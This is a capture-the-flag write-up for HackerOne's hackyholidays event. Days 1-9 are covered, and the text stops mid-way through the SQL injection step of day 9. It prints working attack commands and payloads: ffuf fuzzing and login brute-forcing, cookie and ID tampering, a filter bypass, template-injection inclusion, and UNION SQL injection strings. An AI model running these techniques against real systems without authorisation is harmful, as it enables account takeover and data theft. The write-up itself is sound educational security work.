h1-ctf · Report #1065495
Solution for hackyholiday
Summary
{F1139915}
Day 1
The time has finally come! It's the first day of the 12 hacky holidays and we can finally begin to infiltrate the Grinch Networks and save this year's Christmas.
Shivering with excitement I navigated to hackyholidays.h1ctf.com to be met with the following screen:
{F1139719}
As we are insanely 1337 hackers we know we need to fire up our Very Cool Advanced Information Gathering And Also Some Other Cool Words System TM to infiltrate our target system... Or maybe we should just try and navigate to /robots.txt?
{F1139718}
Well, that does it this time! We successfully found the first flag! We also got a lead on how to continue tomorrow: /s3cr3t-ar3a. Stay tuned to see how it goes!
flag{48104912-28b0-494a-9995-a203d1e261e7}
Day 2
Time for another challenge! Let's check out /s3cr3t-ar3a:
{F1139720}
Ordinary people might accept that there's nothing to do, but we're not just anyone, we're 1337 hackers! Let's pop up our beloved developer tools and investigate the source of the page:
{F1139721}
Yay! We successfully found the 2nd flag and have been pointed towards tomorrow's challenge: /apps
flag{b7ebcb75-9100-4f91-8454-cfb9574459f7}
Day 3
3rd day, 3rd challenge, let's begin! Navigating to /apps we can see that a new challenge, 'People Rate' has been added:
{F1139722}
Let's start the challenge. The challenge is located on /people-rater and appears to be an app that returns the rating of a list of people when clicking on them. Firing up Burp Suite and clicking the very first name, we notice that a GET request is sent to /people-rater/entry?id=eyJpZCI6Mn0=. The GET parameter id seems interesting. The value seems to be Base64 encoded. Let's try to decode it and see if our assumption is correct.
{F1139723}
Indeed, it was correct! We get a JSON with a parameter called id. Interestingly enough, the value of the id parameter is '2' even though we picked the very first name. Let's try to create our own Base64 encoded JSON object in the same format, but with the value '1' instead:
{"id":1} -> eyJpZCI6MX0=
Let's now try to use our own tampered value in the GET request, making it: /people-rater/entry?id=eyJpZCI6MX0=. The request is successful and gives us the following response body:
{
"id":"eyJpZCI6MX0=",
"name":"The Grinch",
"rating":"Amazing in every possible way!",
"flag":"flag{b705fb11-fb55-442f-847f-0931be82ed9a}"
}
We successfully got the 3rd flag!
flag{b705fb11-fb55-442f-847f-0931be82ed9a}
Day 4
A new day has come and it's time for the next challenge. Browsing to /apps, we notice a new challenge has been added: 'Swag Shop'. Let's fire up the challenge and see what we're dealing with.
The challenge appears to be a shop (what a surprise), but there's not much to do, since we're quickly faced with a login form, which doesn't seem easy to bypass. Let's instead think a bit more like a 1337 hacker and do some recon. Let's use FFUF to do some web content discovery. Now we need to pick a good wordlist. Daniel Miessler's 'common.txt' for web content seems like a good start:
ffuf -w common_webcontent.txt -t 5 -u "https://hackyholidays.h1ctf.com/swag-shop/FUZZ"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.2.0-git
________________________________________________
:: Method : GET
:: URL : https://hackyholidays.h1ctf.com/swag-shop/FUZZ
:: Wordlist : FUZZ: common_webcontent.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 5
:: Matcher : Response status: 200,204,301,302,307,401,403
________________________________________________
api [Status: 200, Size: 23, Words: 2, Lines: 1]00:16] :: Errors: 0 ::
:: Progress: [4661/4661] :: Job [1/1] :: 41 req/sec :: Duration: [0:01:57] :: Errors: 0 ::
Navigating to /api doesn't return anything interesting. Let's try to find some API endpoints. We fire up FFUF again, but this time to fuzz for API endpoints using Daniel Miessler's 'common-api-endpoints-mazen160.txt'. To be sure we don't miss anything, let's match all response codes except 404 by using the flags -mc all -fc 404
ffuf -w common-api-endpoints-mazen160.txt -t 5 -u "https://hackyholidays.h1ctf.com/swag-shop/api/FUZZ" -mc all -fc 404
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.2.0-git
________________________________________________
:: Method : GET
:: URL : https://hackyholidays.h1ctf.com/swag-shop/api/FUZZ
:: Wordlist : FUZZ: common-api-endpoints-mazen160.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 5
:: Matcher : Response status: all
:: Filter : Response status: 404
________________________________________________
sessions [Status: 200, Size: 2194, Words: 1, Lines: 1]03] :: Errors: 0 ::
user [Status: 400, Size: 35, Words: 3, Lines: 1]0:04] :: Errors: 0 ::
:: Progress: [174/174] :: Job [1/1] :: 41 req/sec :: Duration: [0:00:05] :: Errors: 0 ::
We discovered two endpoints: /api/user and /api/sessions! Let's start by checking /api/user. A simple GET request returns the following response:
HTTP/1.1 400 Bad Request
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 29 Dec 2020 04:20:69 GMT
Content-Type: application/json
Connection: close
Content-Length: 35
{
"error":"Missing required fields"
}
Looks like we're missing some parameter(s) in our request. Let's use FFUF once again to see if we can discover the missing parameter(s). Let's start by checking for GET parameters using Daniel Miessler's 'burp-parameter-names.txt'. Let's start by checking if any of the responses we get, doesn't contain the string: 'Missing required fields'. To do so, we can use the flag -fr to filter responses based on a regex:
ffuf -w burp-parameter-names.txt -t 5 -u "https://hackyholidays.h1ctf.com/swag-shop/api/user?FUZZ" -mc all -fr "Missing required fields"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.2.0-git
________________________________________________
:: Method : GET
:: URL : https://hackyholidays.h1ctf.com/swag-shop/api/user?FUZZ
:: Wordlist : FUZZ: burp-parameter-names.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 5
:: Matcher : Response status: all
:: Filter : Regexp: Missing required fields
________________________________________________
uuid [Status: 404, Size: 40, Words: 5, Lines: 1]:00:33] :: Errors: 0 ::
:: Progress: [2588/2588] :: Job [1/1] :: 40 req/sec :: Duration: [0:01:03] :: Errors: 0 ::
We got a hit for 'uuid'! Now we just need a value for the parameter...
Let's move on to the second API endpoint we discovered, /api/sessions. A simple GET request returns this interesting response body:
{
"sessions":[
"eyJ1c2VyIjpudWxsLCJjb29raWUiOiJZelZtTlRKaVlUTmtPV0ZsWVRZMllqQTFaVFkxTkRCbE5tSTBZbVpqTW1ObVpHWXpNemcxTVdKa1pEY3lNelkwWlRGbFlqZG1ORFkzTkRrek56SXdNR05pWmpOaE1qUTNZMlJtWTJFMk4yRm1NemRqTTJJMFpXTmxaVFZrTTJWa056VTNNVFV3WWpka1l6a3lOV0k0WTJJM1pXWmlOamsyTjJOak9UazBNalU9In0=",
"eyJ1c2VyIjpudWxsLCJjb29raWUiOiJaak0yTXpOak0ySmtaR1V5TXpWbU1tWTJaamN4TmpkbE5ETm1aalF3WlRsbVkyUmhOall4TldNNVkyWTFaalkyT0RVM05qa3hNVFEyTnprMFptSXhPV1poTjJaaFpqZzBZMkU1TnprMU5UUTJNek16WlRjME1XSmxNelZoWkRBME1EVXdZbVEzTkRsbVpURTRNbU5rTWpNeE16VTBNV1JsTVRKaE5XWXpPR1E9In0=",
"eyJ1c2VyIjoiQzdEQ0NFLTBFMERBQi1CMjAyMjYtRkM5MkVBLTFCOTA0MyIsImNvb2tpZSI6Ik5EVTBPREk1TW1ZM1pEWTJNalJpTVdFME1tWTNOR1F4TVdFME9ETXhNemcyTUdFMVlXUmhNVGMwWWpoa1lXRTNNelUxTWpaak5EZzVNRFEyWTJKaFlqWTNZVEZoWTJRM1lqQm1ZVGs0TjJRNVpXUTVNV1E1T1dGa05XRTJNakl5Wm1aak16WmpNRFEzT0RrNVptSTRaalpqT1dVME9HSmhNakl3Tm1Wa01UWT0ifQ==",
"eyJ1c2VyIjpudWxsLCJjb29raWUiOiJNRFJtWVRCaE4yRmlOalk1TUdGbE9XRm1ZVEU0WmpFMk4ySmpabVl6WldKa09UUmxPR1l3TWpJMU9HSXlOak0xT0RVME5qYzJZVGRsWlRNNE16RmlNMkkxTVRVek16VmlNakZoWXpWa01UYzRPREUzT0dNNFkySmxPVGs0TWpKbE1ESTJZalF6WkRReE1HTm1OVGcxT0RReFpqQm1PREJtWldReFptRTFZbUU9In0=",
"eyJ1c2VyIjpudWxsLCJjb29raWUiOiJNMlEyTURJek5EZzVNV0UwTjJNM05ESm1OVEl5TkdNM05XVXhZV1EwTkRSbFpXSTNNVGc0TWpJM1pHUmtNVGxsWlRNMlpEa3hNR1ZsTldFd05tWmlaV0ZrWmpaaE9EZzRNRFkzT0RsbVpHUmhZVE0xWTJJeU1HVmhNakExTmpkaU5ERmpZekJoTVdRNE5EVTFNRGM0TkRFMVltSTVZVEpqT0RCa01qRm1OMlk9In0=",
"eyJ1c2VyIjpudWxsLCJjb29raWUiOiJNV1kzTVRBek1UQmpaR1k0WkdNd1lqSTNaamsyWm1Zek1XSmxNV0V5WlRnMVl6RTBNbVpsWmpNd1ltSmpabVE0WlRVMFkyWXhZelZtWlRNMU4yUTFPRFkyWWpGa1ptRmlObUk1WmpJMU0yTTJNRFZpTmpBMFpqRmpORFZrTlRRNE4yVTJPRGRpTlRKbE1tRmlNVEV4T0RBNE1qVTJNemt4WldOaE5qRmtObVU9In0=",
"eyJ1c2VyIjpudWxsLCJjb29raWUiOiJNRE00WXpoaU4yUTNNbVkwWWpVMk0yRmtabUZsTkRNd01USTVNakV5T0RobE5HRmtNbUk1T1RjeU1EbGtOVEpoWlRjNFlqVXhaakl6TjJRNE5tUmpOamcyTm1VMU16VmxPV0V6T1RFNU5XWXlPVGN3Tm1KbFpESXlORGd5TVRBNVpEQTFPVGxpTVRZeU5EY3pOakZrWm1VME1UZ3hZV0V3TURVMVpXTmhOelE9In0=",
"eyJ1c2VyIjpudWxsLCJjb29raWUiOiJPR0kzTjJFeE9HVmpOek0xWldWbU5UazJaak5rWmpJd00yWmpZemRqTVdOaE9EZzRORGhoT0RSbU5qSTBORFJqWlRkbFpUZzBaVFV3TnpabVpEZGtZVEpqTjJJeU9EWTVZamN4Wm1JNVpHUmlZVGd6WmpoaVpEVmlPV1pqTVRWbFpEZ3pNVEJrTnpObU9ESTBPVE01WkRNM1kySmpabVk0TnpFeU9HRTNOVE09In0="
]
}
Let's try and Base64 decode these interesting values:
{
"user":null,
"cookie":"YzVmNTJiYTNkOWFlYTY2YjA1ZTY1NDBlNmI0YmZjMmNmZGYzMzg1MWJkZDcyMzY0ZTFlYjdmNDY3NDkzNzIwMGNiZjNhMjQ3Y2RmY2E2N2FmMzdjM2I0ZWNlZTVkM2VkNzU3MTUwYjdkYzkyNWI4Y2I3ZWZiNjk2N2NjOTk0MjU="
},
{
"user":null,
"cookie":"ZjM2MzNjM2JkZGUyMzVmMmY2ZjcxNjdlNDNmZjQwZTlmY2RhNjYxNWM5Y2Y1ZjY2ODU3NjkxMTQ2Nzk0ZmIxOWZhN2ZhZjg0Y2E5Nzk1NTQ2MzMzZTc0MWJlMzVhZDA0MDUwYmQ3NDlmZTE4MmNkMjMxMzU0MWRlMTJhNWYzOGQ="
},
{
"user":"C7DCCE-0E0DAB-B20226-FC92EA-1B9043",
"cookie":"NDU0ODI5MmY3ZDY2MjRiMWE0MmY3NGQxMWE0ODMxMzg2MGE1YWRhMTc0YjhkYWE3MzU1MjZjNDg5MDQ2Y2JhYjY3YTFhY2Q3YjBmYTk4N2Q5ZWQ5MWQ5OWFkNWE2MjIyZmZjMzZjMDQ3ODk5ZmI4ZjZjOWU0OGJhMjIwNmVkMTY="
},
{
"user":null,
"cookie":"MDRmYTBhN2FiNjY5MGFlOWFmYTE4ZjE2N2JjZmYzZWJkOTRlOGYwMjI1OGIyNjM1ODU0Njc2YTdlZTM4MzFiM2I1MTUzMzViMjFhYzVkMTc4ODE3OGM4Y2JlOTk4MjJlMDI2YjQzZDQxMGNmNTg1ODQxZjBmODBmZWQxZmE1YmE="
},
{
"user":null,
"cookie":"M2Q2MDIzNDg5MWE0N2M3NDJmNTIyNGM3NWUxYWQ0NDRlZWI3MTg4MjI3ZGRkMTllZTM2ZDkxMGVlNWEwNmZiZWFkZjZhODg4MDY3ODlmZGRhYTM1Y2IyMGVhMjA1NjdiNDFjYzBhMWQ4NDU1MDc4NDE1YmI5YTJjODBkMjFmN2Y="
},
{
"user":null,
"cookie":"MWY3MTAzMTBjZGY4ZGMwYjI3Zjk2ZmYzMWJlMWEyZTg1YzE0MmZlZjMwYmJjZmQ4ZTU0Y2YxYzVmZTM1N2Q1ODY2YjFkZmFiNmI5ZjI1M2M2MDViNjA0ZjFjNDVkNTQ4N2U2ODdiNTJlMmFiMTExODA4MjU2MzkxZWNhNjFkNmU="
},
{
"user":null,
"cookie":"MDM4YzhiN2Q3MmY0YjU2M2FkZmFlNDMwMTI5MjEyODhlNGFkMmI5OTcyMDlkNTJhZTc4YjUxZjIzN2Q4NmRjNjg2NmU1MzVlOWEzOTE5NWYyOTcwNmJlZDIyNDgyMTA5ZDA1OTliMTYyNDczNjFkZmU0MTgxYWEwMDU1ZWNhNzQ="
},
{
"user":null,
"cookie":"OGI3N2ExOGVjNzM1ZWVmNTk2ZjNkZjIwM2ZjYzdjMWNhODg4NDhhODRmNjI0NDRjZTdlZTg0ZTUwNzZmZDdkYTJjN2IyODY5YjcxZmI5ZGRiYTgzZjhiZDViOWZjMTVlZDgzMTBkNzNmODI0OTM5ZDM3Y2JjZmY4NzEyOGE3NTM="
}
The cookie values seem to be some Base64 encoded SHA-512 hashes but don't seem to be of any use. The most interesting part is the one 'user' value which isn't just 'null': C7DCCE-0E0DAB-B20226-FC92EA-1B9043. Maybe we could use this as the value for the parameter 'uuid' in the request to /api/user?
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 29 Dec 2020 23:27:25 GMT
Content-Type: application/json
Connection: close
Content-Length: 216
{
"uuid":"C7DCCE-0E0DAB-B20226-FC92EA-1B9043",
"username":"grinch",
"address":{
"line_1":"The Grinch",
"line_2":"The Cave",
"line_3":"Mount Crumpit",
"line_4":"Whoville"
},
"flag":"flag{972e7072-b1b6-4bf7-b825-a912d3fd38d6}"
}
Yes! We successfully got day 4's flag!
flag{972e7072-b1b6-4bf7-b825-a912d3fd38d6}
Day 5
It's yet another beautiful Christmas day and time for yet another challenge. Today we're met with the challenge 'Secure Login'. Opening up the challenge we're simply faced with a login screen. When trying to log in, a POST request is sent to /secure-login and we're faced with the following error:
{F1139725}
The error 'Invalid Username' seems like an interesting message, since we can imagine that a valid username but valid password would yield a different error message, making it possible to start by brute-forcing the username and then take care of the password afterward. With the name of the challenge in mind, this seems like a fairly good path to take. Let's start up our good friend FFUF and provide it with Daniel Miessler's '10-million-password-list-top-1000.txt'. We'll start by brute-forcing the username and use -fr again to filter out responses containing the standard response, 'Invalid Username':
ffuf -w 10-million-password-list-top-1000.txt -t 5 -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=FUZZ&password=bla" -u "https://hackyholidays.h1ctf.com/secure-login" -fr "Invalid Username"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.2.0-git
________________________________________________
:: Method : POST
:: URL : https://hackyholidays.h1ctf.com/secure-login
:: Wordlist : FUZZ: 10-million-password-list-top-1000.txt
:: Header : Content-Type: application/x-www-form-urlencoded
:: Data : username=FUZZ&password=bla
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 5
:: Matcher : Response status: 200,204,301,302,307,401,403
:: Filter : Regexp: Invalid Username
________________________________________________
access [Status: 200, Size: 1724, Words: 464, Lines: 37] :: Errors: 0 ::
:: Progress: [1000/1000] :: Job [1/1] :: 40 req/sec :: Duration: [0:00:25] :: Errors: 0 ::
Bingo! We got a valid username: 'access'. Time to brute force the password, this time by filtering for responses containing our new error message, 'Invalid Password':
ffuf -w 10-million-password-list-top-1000.txt -t 5 -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=access&password=FUZZ" -u "https://hackyholidays.h1ctf.com/secure-login" -fr "Invalid Password"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.2.0-git
________________________________________________
:: Method : POST
:: URL : https://hackyholidays.h1ctf.com/secure-login
:: Wordlist : FUZZ: 10-million-password-list-top-1000.txt
:: Header : Content-Type: application/x-www-form-urlencoded
:: Data : username=access&password=FUZZ
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 5
:: Matcher : Response status: 200,204,301,302,307,401,403
:: Filter : Regexp: Invalid Password
________________________________________________
computer [Status: 302, Size: 0, Words: 1, Lines: 1]00:01] :: Errors: 0 ::
:: Progress: [1000/1000] :: Job [1/1] :: 36 req/sec :: Duration: [0:00:25] :: Errors: 0 ::
Perfect! We got the password: 'computer'. Let's pop in the credentials and get the flag:
{F1139726}
Well... We got a bit ahead of ourselves there. Let's check how we've been authenticated. We can see that a cookie called 'securelogin' has been set to the value: eyJjb29raWUiOiIxYjVlNWYyYzlkNThhMzBhZjRlMTZhNzFhNDVkMDE3MiIsImFkbWluIjpmYWxzZX0=. Let's go ahead and Base64 decoded the value: {"cookie":"1b5e5f2c9d58a30af4e16a71a45d0172","admin":false}. Since we're 1337 hackers, it seems very tempting to try and change the 'admin' parameter to true instead of false.
Let's do as we did in day 3's challenge and tamper with the cookie to see if we get lucky:
{F1139724}
What a beautiful surprise! We've successfully become admins and can now see the zip file 'my_secure_files_not_for_you.zip'. Let's just download it and extract it to get the flag.
{F1139681} (could we maybe just ignore my cringe early 'hacker name'?)
Well... Still, a bit too fast. So while a password protected zip file wasn't exactly what we would hope for, it won't stop us! Let's try to use fcrackerzip with the infamous 'rockyou.txt' and see if we can crack the password to the zip file:
{F1154657}
And just like that, we got the password in a matter of seconds: 'hahahaha'! We can finally extract the zip file and open up 'flag.txt' to get the 5th flag!
flag{2e6f9bf8-fdbd-483b-8c18-bdf371b2b004}
Day 6
The next challenge 'My Diary' has been added and we're asked to find a hidden upcoming event the grinch is planning. Starting up the challenge we see the following:
{F1139682}
We can see some event's but the hidden event isn't listed (duh). The GET parameter 'template' seems interesting as both the name and value, 'entries.html', suggests it's used to specify some file to load. Providing something random as the value simply redirects us to /my-diary/?template=entries.html so there seems to be some validation going on before the specified file is attempted to be loaded. If only we could see what's going on behind the curtain... Wait, maybe we could just load 'index.php'? The following is thrown back at us when trying:
<?php
if( isset($_GET["template"]) ){
$page = $_GET["template"];
//remove non allowed characters
$page = preg_replace('/([^a-zA-Z0-9.])/','',$page);
//protect admin.php from being read
$page = str_replace("admin.php","",$page);
//I've changed the admin file to secretadmin.php for more security!
$page = str_replace("secretadmin.php","",$page);
//check file exists
if( file_exists($page) ){
echo file_get_contents($page);
}else{
//redirect to home
header("Location: /my-diary/?template=entries.html");
exit();
}
}else{
//redirect to home
header("Location: /my-diary/?template=entries.html");
exit();
}
That worked great! Now we know what's going on. It looks like the goal is to load the file 'secretadmin.php', but there's some filtering going on. Let's create an interactive PHP shell from the command line and use the following PHP function to do some testing:
function test($page){
$page = preg_replace('/([^a-zA-Z0-9.])/','',$page);
$page = str_replace("admin.php","",$page);
$page = str_replace("secretadmin.php","",$page);
echo $page;
}
Now we can simply call our function with some different values and see what we are left with after the filtering. Let's start by seeing if we can achieve to get the string 'admin.php' returned. Since the char combination 'admin.php' is removed from the input string using str_replace() we could try to split our desired target string, 'admin.php' in into two parts, eg: 'adm' and 'in.php'. We can then put the char combination 'admin.php' in between these two parts, since we know it'll be removed anyways, making our payload: 'adm'+'admin.ph'+'in.php' -> admadmin.phpin.php. Time to test:
{F1139680}
Nice! Let's now move on to see if we can have the string 'secretadmin.php' returned. We can adapt the same idea from before, but we need to notice that the string 'secretadmin.php' also contains the string 'admin.php', which means that the 'admin.php' part will be removed before we get to the second use of str_replace which looks for 'secretadmin.php'. But what if we use something like the following:
'secretadm'+'secretadm'+'admin.php'+'in.php'+'in.php' -> secretadmsecretadmadmin.phpin.phpin.php
After the first check, all occurrences of 'admin.php' will be removed, leaving us with:
secretadmsecretadm[admin.php]in.phpin.php -> secretadmsecretadmin.phpin.php
And after the second check, all occurrences of 'secretadmin.php' will be removed, leaving us with:
secretadm[secretadmin.php]in.php -> secretadmin.php
That's exactly what we want! Our test function confirms that this works:
{F1139683}
Time to test our payload in the challenge:
{F1139685}
Perfect! We've successfully bypassed the filter, uncovered the Grinch's secret event, and retrieved the 6th flag! 'Launch DDoS Against Santa's Workshop!'... that doesn't sound good... We better get to sleep so we're well-rested to continue our quest to take down the Grinch Network and save Christmas!
flag{18b130a7-3a79-4c70-b73b-7f23fa95d395}
Day 7
Well, look at that. It's a new day and a new challenge has arrived: 'Hate Mail Generator'. The challenge is wrapped in a 'Hate Mail Generator' app which makes it possible to create mail templates. We can see a template has already been saved, called 'Guess What'.
{F1139686}
We can see that some template engine is being used and two use cases can be seen in 'Guess What'.
- Variables such as 'name' which will be replaced by a value
- The inclusion of a template such as 'cbdj3_grinch_header.html' which will be replaced by the contents of 'cbdj3_grinch_header.html'
Clicking the 'preview' button we see this transformation in action:
{F1139688}
We also have the option of creating our own template. Trying to save it, we get the following error:
{F1139689}
But we're still able to preview our own templates. Let's try to create our own template and preview it. We notice that a POST request is sent to /hate-mail-generator/new/preview
POST /hate-mail-generator/new/preview HTTP/1.1
Host: hackyholidays.h1ctf.com
Connection: close
Content-Length: 102
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: https://hackyholidays.h1ctf.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://hackyholidays.h1ctf.com/hate-mail-generator/new
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
preview_markup=hihi&preview_data={"name":"Alice","email":"[email protected]"}
The request body contains two parameters: 'preview_markup', which is set to whatever we have typed in the body of our template, and 'preview_data' which appears to provide a JSON object with the data used to generate our template. Let's try to provide our own JSON object:
{"hihi":"blabla"}
and see if we're now able to use 'hihi' as a variable:
{F1139690}
Yup, that works. Let's note that down and move on.
The templates used (eg. 'cbdj3_grinch_header.html') seems interesting. I wonder where they are stored... Let's fire up FFUF with Daniel Miessler's 'common.txt' for web content and see if we discover something:
ffuf -w common_webcontent.txt -t 5 -u "https://hackyholidays.h1ctf.com/hate-mail-generator/FUZZ"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.2.0-git
________________________________________________
:: Method : GET
:: URL : https://hackyholidays.h1ctf.com/hate-mail-generator/FUZZ
:: Wordlist : FUZZ: common_webcontent.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 5
:: Matcher : Response status: 200,204,301,302,307,401,403
________________________________________________
new [Status: 200, Size: 2494, Words: 440, Lines: 49]9] :: Errors: 0 ::
templates [Status: 302, Size: 0, Words: 1, Lines: 1]0:01:40] :: Errors: 0 ::
:: Progress: [4661/4661] :: Job [1/1] :: 41 req/sec :: Duration: [0:01:56] :: Errors: 0 ::
And yes we did! Let's navigate to /templates and see what we got:
{F1139691}
Great! We found the location of the template files! The file 38dhs_admins_only_header.html seems very interesting! Unfortunately, we can't open any of the files directly from the browser:
{F1139684}
But let's just include the file, using the following syntax in our own mail template:
{{template:38dhs_admins_only_header.html}}
And preview it:
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Wed, 30 Dec 2020 13:04:33 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 64
You do not have access to the file 38dhs_admins_only_header.html
Well, that's not good... Time to try harder like a true 1337 hacker! Remember how we discovered earlier that we can provide our own data to be used in the preview generation? What happens if the value of a variable is set to the syntax of including a file? The idea would be as follows:
preview_markup={{hihi}}&preview_data={"hihi":"{{template:38dhs_admins_only_header.html}}"}
The variable 'hihi' is replaced with the specified value:
{{hihi}} -> {{template:38dhs_admins_only_header.html}}
We cross our fingers and hope magic happens:
{{template:38dhs_admins_only_header.html}} -> plz give me flag
{F1139687}
Awesome! Our idea worked! We successfully got the 7th flag and are one step closer to take down the Grinch Networks
flag{5bee8cf2-acf2-4a08-a35f-b48d5e979fdd}
Day 8
It's a brand new day and I'm wondering if there could possibly be a new challenge... Well, what a surprise! A new challenge has been added called 'Forum'. We're informed that the Grinch keeps his best post in the admin section, but that we need a valid login to access that. Starting the challenge we can see a basic forum. Our actions however are very limited since we're not logged in, so let's work on that! Once again let's give FFUF a shot with one of our favorites, 'common.txt':
ffuf -w common_webcontent.txt -t 5 -u "https://hackyholidays.h1ctf.com/forum/FUZZ"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.2.0-git
________________________________________________
:: Method : GET
:: URL : https://hackyholidays.h1ctf.com/forum/FUZZ
:: Wordlist : FUZZ: common_webcontent.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 5
:: Matcher : Response status: 200,204,301,302,307,401,403
________________________________________________
1 [Status: 200, Size: 2249, Words: 788, Lines: 64] :: Errors: 0 ::
2 [Status: 200, Size: 1885, Words: 512, Lines: 58]] :: Errors: 0 ::
login [Status: 200, Size: 1569, Words: 396, Lines: 34]1] :: Errors: 0 ::
phpmyadmin [Status: 200, Size: 8880, Words: 956, Lines: 79]5] :: Errors: 0 ::
:: Progress: [4661/4661] :: Job [1/1] :: 41 req/sec :: Duration: [0:01:54] :: Errors: 0 ::
/phpmyadmin seems interesting!
{F1139698}
Hmm, it appears to be a totally legit original phpMyAdmin login page. But what now? Trying to brute-force the login page on both /login and /phpmyadmin doesn't seem feasible, believe me, I tried. If only we knew more about how the forum works... If only there were some way we could view the source code... If only there existed a common place where a lot of people store their code online for anyone to view... If only I could get a sweet brand new unlimited Burp Suite Professional license for Christmas this year... I think I lost the thread there. But what about GitHub?? While it probably can't give me that license, it might be able to give me the source code for the forum! Let's check Adam Langley's GitHub
{F1139696}
Bingo! We discovered a Git Repository containing the source code of the Forum! We can see that 4 commits have been made. Time to dig into the code and see what we can find. The commit called 'Initial Code Commit' seems interesting. And look at that:
{F1139695}
Looks like we just found some database credentials! Let's test them on /phpmyadmin:
{F1139693}
They worked! We now have access to the database! The 'user' table looks interesting. We can see that there exist two users on the forum: 'grinch' and 'max'. We can also see their passwords but in an encrypted form. Let's see if we can crack the password for the user 'grinch'. Before we go crazy with hashcat, let's quickly see if we're lucky enough that crackstation.net does the job for us:
{F1139692}
Look at that! It actually did work! We've successfully cracked the password and can now log in on the forum:
{F1139694}
Great! We got access to the admin section and have successfully got the 8th flag!
flag{677db3a0-f9e9-4e7e-9ad7-a9f23e47db8b}
Day 9
Feeling in the mood for a quiz today, it's a pleasant surprise to see that the Grinch has provided us with a quiz as the next challenge, 'Evil Quiz'
{F1139703}
Upon completing the quiz, we're met with the following screen:
{F1139702}
The feature that allows us to see how many players have the same name as us seems very interesting.
Being a 1337 hacker and seeing an input field, the next move seems obvious: Spraying the input field with every single just slightly good idea of a payload we can come up with.
{F1139704}
Well, that was definitely an interesting response! It seems safe to assume that there are not 1218510 other players with that exact name, so we've probably found an SQLi! Now comes the fun part, exploitation.
Let's start by see if we can make a UNION attack. To do so, we need to figure out how many columns are returned by the original SQL query. This can be achieved by using the SELECT statement to select eg. an increasing number of integers.
bla' UNION SELECT '1bla' UNION SELECT 1,'2bla' UNION SELECT 1,2,'3- Etc.
We then need to look for the response. In this case, an error in the SQL query will result in a response stating that there are 0 other players with the same name as us, while a successful query will tell us that there's 1 other player with the same name. Let's start testing.
{F1139705}
We now know that there are 4 columns and can go to the next step of our exploitation. The table information_schema.tables can be queried for existing tables in the database. A table with a name like 'admin' is probably a good guess. Let's test if there exist any tables called 'admin' with the following payload:
bla' UNION SELECT 1,2,3,4 from information_schema.tables WHERE table_name = 'admin
{F1139697}
We see that 1 other player has the same name as us, meaning that there indeed is a table with the name 'admin' and that our guess was correct!
We can now use the table information_schema.columns to figure out which columns exists in the 'admin' table. Let's check for a 'username' and 'password' column using these two payloads:
bla' UNION SELECT 1,2,3,4 from information_schema.columns WHERE table_name = 'admin' AND column_name = 'username
bla' UNION SELECT 1,2,3,4 from information_schema.columns WHERE table_name = 'admin' AND column_name = 'password
Both payloads result in the message telling us that 1 other player has the same name, meaning that there indeed exists both a 'username' column and 'password' column exists in the 'admin' table. Let's figure out how many users exist in this table by using the LIKE operator:
